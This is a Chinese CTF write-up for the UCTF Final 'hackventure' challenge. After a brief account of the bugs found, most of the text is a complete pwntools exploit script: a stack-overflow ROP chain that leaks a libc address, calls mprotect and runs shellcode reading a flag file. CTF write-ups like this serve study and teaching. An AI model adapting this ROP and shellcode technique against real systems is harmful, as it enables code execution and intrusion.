UCTF Final-Hackventure

　　抽出世间将UCTF Final中的hackventure给记录下，算是个总结。题目是有一个游戏，游戏地图是随机生成的，用户可以攻打Server，如果3个Server都被攻占的话，那么用户就赢了，但是并没有Flag。

　　题目以及IDB见：http://files.cnblogs.com/files/wangaohui/hackventure-blog.zip

　　题目是一个C++的题目，结构体也不少，把结构体都建立后，逆起来轻松不少。把题目逆了一遍后，首先发现的是个整数溢出，然而并不知道怎么利用。其次发现的还有对空指针进行解引用造成的崩溃，以及free后全局变量区指针并没有清零等。但是这些都不知道怎么利用。后来发现一个栈溢出，而且溢出的空间很大，完全可以来做ROP，在程序本身的_libc_csu_init里有好用的通用Gadget。

　　漏洞位置：

EXP:

import sys
from pwn import *
#context.log_level='debug'
#by wah

exe = 'hackventure'
ip = '127.0.0.1'
port = 10001
#ip = '10.250.100.12'
#port = 6666

me = [0,0]
home = [0,0]
store = [0,0]
server = [[0,0],[0,0],[0,0]] 

#100 10.10.10.1
#200 10.1.11.1
server100 = [0,0]
server200 = [0,0]
server300 = [0,0]

def getpid():
    time.sleep(0.1)
    pid= pwnlib.util.proc.pidof(exe)
    print pid
    raw_input('go!')
def walk(f,t):
    if f==t:
        return
    global r
    x= t[0]-f[0]
    y = t[1]-f[1]
    #print f,t
    #print x,y
    if x<0:
        for i in range(-x):
            r.sendline('go up')
    elif x>0:
        for i in range(x):
            r.sendline('go down')
    else:
        pass
    if y<0:
        for i in range(-y):
            r.sendline('go left')
    elif y>0:
        for i in range(y):
            r.sendline('go right')
    else:
        pass

def getinfo():
    global r,me,home,store,server,server100,server200,server300
    r.recvuntil('+--------------------------------+\n')
    matrix = r.recvuntil('\n+--------------------------------+\n')
    print matrix
    #print binascii.hexlify(matrix)
    sr = []
    for i in range(len(matrix)):
        if matrix[i] == 'T':
            s = i
        elif matrix[i] == 'S':
            sr.append(i)
        elif matrix[i] == 'H':
            h = i
        elif matrix[i] == '*':
            m = i
        else:
            pass
    me[1] = m%35
    me[0] = m/35+1

    home[1] = h%35
    home[0] = h/35+1

    store[1] = s%35
    store[0] = s/35+1

    server[0][1] = sr[0]%35
    server[0][0] = sr[0]/35+1

    server[1][1] = sr[1]%35
    server[1][0] = sr[1]/35+1

    server[2][1] = sr[2]%35
    server[2][0] = sr[2]/35+1

    walk(me,server[0])
    me = server[0]
    r.sendline('explore')
    r.recvuntil('IP: ')
    ip = r.recvuntil('\n').strip()
    #print ip
    r.recvuntil('HP: ')
    hp = r.recvuntil('\n').strip()
    if ip == '10.10.10.1':
        server100 = server[0]
    elif ip == '10.1.11.1':
        server200 = server[0]
    else:
        server300 = server[0]
    data = r.recvuntil('$ ')

    walk(me,server[1])
    me = server[1]
    r.sendline('explore')
    r.recvuntil('IP: ')
    ip = r.recvuntil('\n').strip()
    #print ip
    r.recvuntil('HP: ')
    hp = r.recvuntil('\n').strip()
    if ip == '10.10.10.1':
        server100 = server[1]
    elif ip == '10.1.11.1':
        server200 = server[1]
    else:
        server300 = server[1]
    data = r.recvuntil('$ ')

    walk(me,server[2])
    me = server[2]
    r.sendline('explore')
    r.recvuntil('IP: ')
    ip = r.recvuntil('\n').strip()
    #print ip
    r.recvuntil('HP: ')
    hp = r.recvuntil('\n').strip()
    if ip == '10.10.10.1':
        server100 = server[2]
    elif ip == '10.1.11.1':
        server200 = server[2]
    else:
        server300 = server[2]
    data = r.recvuntil('$ ')
    #print server100,server200,server300
def local_attack():
    r.sendline('local_attack')
def remote_attack(ip):
    r.sendline('remote_attack ' + ip)
def remote_attacks(ips):
    r.sendline('remote_attacks ' + ips)

r = remote(ip,port)
r.sendline('map')
getinfo()

walk(me,server100)
me=server100

local_attack()
local_attack()
r.recvuntil('You have compromised server 10.10.10.1, good job!\n')
r.sendline('')
r.recvuntil('Name? ')
r.sendline('wah')
#remote_attack('10.1.11.1')

r.sendline('status')
r.recvuntil('*** Hacker\'s Profile ***')
r.recvuntil('$ ')

walk(me,home)
me=home

r.sendline('goodnight')
walk(me,server100)
me=server100
getpid()

sc = '''call a;
a:pop rcx;
add rcx,35
push rcx
ret
.string "/home/flag/hackventure/flag";
lea rdi,[rcx-28];
mov rax,2;
mov rsi,0;
syscall;
mov rdi,rax;
xor rax,rax;
mov rsi,0x605200;
mov rdx,16;
syscall;
mov rdi,1;
mov rsi,0x605200;
mov rdx,16;
mov rax,1;
syscall;
mov rax,60;
xor rdi,rdi;
syscall;'''
shellcode=asm(sc,arch='amd64',os='linux')

fakeebp = 0xaaaaaaaaaaaaaaaa
pop_rdi_ret = 0x4029F3
pop_rsi_r15_ret = 0x4029F1
atoi_got = 0x604098
puts_plt = 0x400840
call_getstring = 0x4014BC
#buf_to_store_mprotect = 0x604600
buf_to_store_mprotect_gets = 0x6040A0
buflen = 18
rubbish = 0xaaaaaaaa
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4029EA
call_mprotect = 0x4029D0
memo_to_exec = 0x604000
memo_len = 0x3000
memo_prot = 0x7
shellcode_addr = 0x605000
shellcode_len = 0x1000
plt_jmp_gets = 0x400940

rop = ''
rop += p64(pop_rdi_ret)
rop += p64(atoi_got)
rop += p64(puts_plt)

rop += p64(pop_rdi_ret)
rop += p64(buf_to_store_mprotect_gets)
rop += p64(pop_rsi_r15_ret)
rop += p64(buflen)
rop += p64(rubbish)
rop += p64(call_getstring)
rop += 'a'*0x68

rop += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
rop += p64(0)
rop += p64(1)
rop += p64(buf_to_store_mprotect_gets)
rop += p64(memo_prot)
rop += p64(memo_len)
rop += p64(memo_to_exec)
rop += p64(call_mprotect)

rop += p64(rubbish)
rop += p64(0)#rbx
rop += p64(0)#rbp
rop += p64(0)#r12
rop += p64(0)#r13
rop += p64(0)#r14
rop += p64(0)#r15
rop += p64(pop_rdi_ret)
rop += p64(shellcode_addr)
rop += p64(plt_jmp_gets)
rop += p64(shellcode_addr)

fuck1 = p64(fakeebp) + rop
remote_attacks('1,2,3,4,'+fuck1)
walk(me,server300)
local_attack()
local_attack()
local_attack()
local_attack()
local_attack()
r.recvuntil('Game Over!\n')
data = r.recvuntil('\n')[:-1]
atoi = u64(data + (8-len(data))*'\x00')
log.info("Leaked atoi: "+hex(atoi))

mprotect = atoi+0xbaa30
gets = atoi +0x354d0
data = p64(mprotect) + p64(gets)
#overwrite got to mprotect and gets
r.sendline(data)
#write shellcode
r.sendline(shellcode)
r.recvuntil('Please own this server first.\n')
flag = r.recv(16)
print flag
r.close()